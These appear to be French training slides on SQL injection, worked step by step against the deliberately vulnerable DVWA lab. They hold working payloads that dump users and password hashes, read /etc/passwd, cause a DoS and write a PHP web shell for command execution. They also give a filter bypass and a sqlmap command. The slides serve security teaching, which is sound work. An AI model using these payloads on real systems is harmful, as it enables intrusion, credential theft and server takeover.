Skip to content
Snippets Groups Projects

Injection SQL

SQLi

aka SQLi

Principe

  • Une application envoie des données
    • non sanitized à un interpréteur
  • L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (payload)
    • toutes sources de données peut être utilisées
      • paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
      • au niveau de la requête et de la réponse

Que peut on faire?

  • Lire des données "protégées"
  • Corrompre des données
  • Dénis de services
  • Lecture / écriture sur le système de fichiers
  • Exécution de commandes arbitraires

Note:

  • marche pour tout interpréteur LDAP, XML, bash (shellshock)
  • détectable aux messages d'erreur en cas d'input invalide
    • SQL universel ce qui rend la faille très populaire
      • au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
        • écriture dans des fichiers
        • passer des commandes via xp_commandshell pour un server MSSQL
  • potentielle compromission totale
    • exécution de code
    • backdoor
    • local root exploit

Différents types

Error-based

  • Les messages d'erreur mysql sont accessibles

Boolean (Blind)

  • Pas de message d'erreur
  • Un comportement différent selon que la payload est exécutée ou non
    • nécessite en général d'itérer
      • avec un LIKE par exemple pour déduire lettre par lettre

Différents types

(true) Blind

  • Pas de message d'erreur
  • Pas de moyen de savoir si la payload a été éxécutée ou non
    • cas d'une redirection systématique
    • nécessite en général d'itérer
    • avec un LIKE par exemple pour déduire lettre par lettre

Note:

  • boolean type: formulaire d'authentification
    • erreur en cas d'échec
      • drapeau rouge
    • home page en cas de succés
      • drapeau vert
    • attention une 404 ou une 500 peut être le drapeau vert
  • blind typique
    • accès à un contenu privé www.example.org/display.php?item=1'
      • redirige systématiquement sur la page d'authentification
        • l'idée est de charger la requête et de chronomtérer le temps d'exécution
          • une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
          • Benchmark() MySQL
          • WaitFor() MSSQ

SQLi Error-based

L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
   $first = mysql_result($result,$i,"first_name");
   $last = mysql_result($result,$i,"last_name");
   echo '<pre>';
   echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
   echo '</pre>';
   $i++;
}

SQLi Error-based

détectable en tentant une simple ' en entrée

http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#

produit

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for
the right syntax to use near ''''' at line 1

intéressant!

SQL Injection - security low

sensible à (version human readable)

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit

soit en version encodée

http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit

affiche la liste de tous les utilisateurs

** on peut mieux faire !! **

Note:

  • je donne les urls en mode human readable
    • les valeurs sont à copier dans le champs
      • PAS dans l'url
  • se détecte avec juste ' ou en fuzzant plus large
    • fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
    • fuzzdb/attack-playloads/attack-payloads/all-attacks
      • tester avec Burp
      • avec la hackbar
      • mettre un flag grep SQL
      • filtrer par length, error, et flag SQL

SQL Injection - security low

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit

affiche un message d'erreur

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit

est exécutée

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit

affiche un message d'erreur

par dichotomie

il y a 2 champs dans la clause SELECT

Note:

  • va nous permettre d'étendre les requêtes à d'autres tables

SQLi - security low

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1  UNION SELECT NULL, user()#&Submit=Submit

affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users

http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit

affiche le nom de la base de données à la fin de la liste des users

SQLi - security low

http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
  • affiche toutes les tables via la table virutelle information_schema
    • quand on fait de l'UNION de deux tables distincts on parle de Cross table
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit

affiche toutes les tables qui contiennent user

SQLi - security low

http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
  • affiche toutes les champs de la table user
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
  • affiche toutes les valeurs des champs user et password de la table user

    • reste à brute forcer

SQLi - security low

http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit
  • chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe
    • DoS
    • utile pour les vraies blind SQLi

SQLi - security low

http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit

affiche toutes le contenu du fichier /etc/passwd

http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit

écriture du fichier shell.php dans le système de fichiers

http://dv.wa/hackable/uploads/shell.php?cmd=ls

execution de commandes systèmes avec les privilèges du thread apache

SQLi - security medium

le code vulnérable a changé entre low et medium

  • utilisation de la fonction mysql_real_escape_string()
    • ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, , ', " et \x1a.
      • contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés

SQLi - security medium

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

devient

$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

SQLi - security medium

donc l'injection du niveau low

' OR user_id > 0#

devient pour fonctionner au niveau medium

1 OR user_id > 0#

devient une fois encodée

1%20OR%20user_id%20%3E%200

et s'injecte directement via l'url

http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit

Note:

SQLmap

  • Fait tous le boulot à votre palce
    • une ligne de commmande
      • affiche des résultats propres
      • abstrait
        • le moteur de base de données
        • les différentes techniques d'injections
sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables

remplacer par la valeur de votre jeton de session

SQLi (Blind) - security low

  • on se concentre sur le user 1337 (id=3)
    • on cherche à deviner son mot de passe
http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit

n'affiche rien!! en revanche

http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit

affiche

ID: 3' AND password LIKE '8%
First name: Hack
Surname: Me

True Blind SQL Injection

  • Si aucun output n'est disponible
    • on ajoute du calcul artificiellement
      • la payload est exécutée
        • le temps de réponse = temps de traitement + temps de calcul artificiel
      • la payload n'est pas exécutée
        • le temps de réponse = temps de traitement

problématique similaire à une booléenne

Note:

  • discussion sur les vraies blind
  • in fine même problème une fois scripter

Se préserver

Note:

  • TODO regarder si les messages sont désactiables à partir de MySQL

Se préserver

Se préserver